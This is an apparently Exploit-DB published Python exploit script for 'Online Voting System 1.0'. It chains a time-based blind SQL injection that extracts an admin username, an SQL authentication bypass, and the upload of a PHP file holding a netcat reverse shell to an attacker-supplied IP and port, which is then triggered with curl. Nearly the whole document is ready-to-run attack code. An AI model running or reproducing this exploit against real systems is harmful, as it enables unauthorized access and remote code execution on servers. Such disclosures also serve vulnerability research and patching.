# Exploit Title: Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)
# Exploit Author: Geiseric
# Original Exploit Author: deathflash1411 - https://www.exploit-db.com/exploits/50076 - https://www.exploit-db.com/exploits/50075
# Date 02.07.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

import requests
import os
import sys
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string
import random




if len(sys.argv) < 4:
  print('[+] Usage: python3 ovsploit.py https://<ip> <your ip> <your port>')
  exit()

url = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]


exp_url = '/Online_voting_system/admin/save_candidate.php'
login_url = '/Online_voting_system/admin/'


def first_get():

  r = requests.get(url+login_url)
  return r.headers['Set-Cookie']


def retrieve_first_admin():
  print("[!] Stage 1: Finding a valid admin user through SQL Injection")
  cookie = first_get()
  count = 0
  i=1
  flag = True
  admin = ''
  while flag:
    for j in range(32,128):
      r = requests.post(url+login_url,data={'UserName': """aasd' AND (SELECT 7303 FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(UserName AS NCHAR),0x20) FROM users WHERE User_Type = "admin" LIMIT 0,1),"""+str(i)+""",1))="""+str(j)+""",0,1)))))PwbW)-- qRBs""",'Password': 'asd','Login':''},headers={"Cookie":cookie})
      if (r.elapsed.total_seconds() > 1):
        admin += chr(j)
        i+=1
        sys.stdout.write("\rAdmin User: "+ admin)
        sys.stdout.flush()
        count=0
      else:
        if count == 100:
          flag = False
          break
        else:
          count += 1
  print("\n[+] First admin user found!")
  print("[!] Starting Stage 2")
  return admin




def id_generator(size=6, chars=string.ascii_lowercase):
  return ''.join(random.choice(chars) for _ in range(size))+'.php'



def login_bypass(cookie):
  username = retrieve_first_admin()
  print("[!] Stage 2 started: Bypassing Login...")
  r = requests.post(url+login_url,data={'UserName': username,'Password': "' or ''='",'Login':''}, headers={'Cookie':cookie})
  return cookie



def rev_write():
  name = id_generator()
  f = open(name,'w')
  f.write('<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ' +attacker_ip+ " " + attacker_port+' >/tmp/f"); ?>')
  f.close()
  print('[+] Generated file with reverse shell: ' +name)
  return name


def exploit(cookie):
  print("[+] Uploading reverse shell...")
  filename=rev_write()
  multipart_data = MultipartEncoder(

    {
              # a file upload field
              'image': (filename, open(filename, 'rb'), 'application/x-php'),
              # plain text fields
              'user_name': 'admin',
              'rfirstname': 'test',
              'rlastname': 'test',
              'rgender': 'Male',
              'ryear': '1st year',
              'rmname': 'test',
              'rposition': 'Governor',
              'party': 'test',
              'save': 'save'
             }
      )
  r = requests.post(url+exp_url, data=multipart_data, headers={'Content-Type': multipart_data.content_type, 'Cookie':cookie})
  return filename




filename = exploit(login_bypass(first_get()))
print("[!] Triggering...")
input('[+] Please start a listener on port ' + attacker_port +' then press Enter to get shell.')
os.system('curl '+url+'/Online_voting_system/admin/upload/'+filename+' -m 1 -s')
print("[+] Cleaning up!")

os.system("rm "+ filename)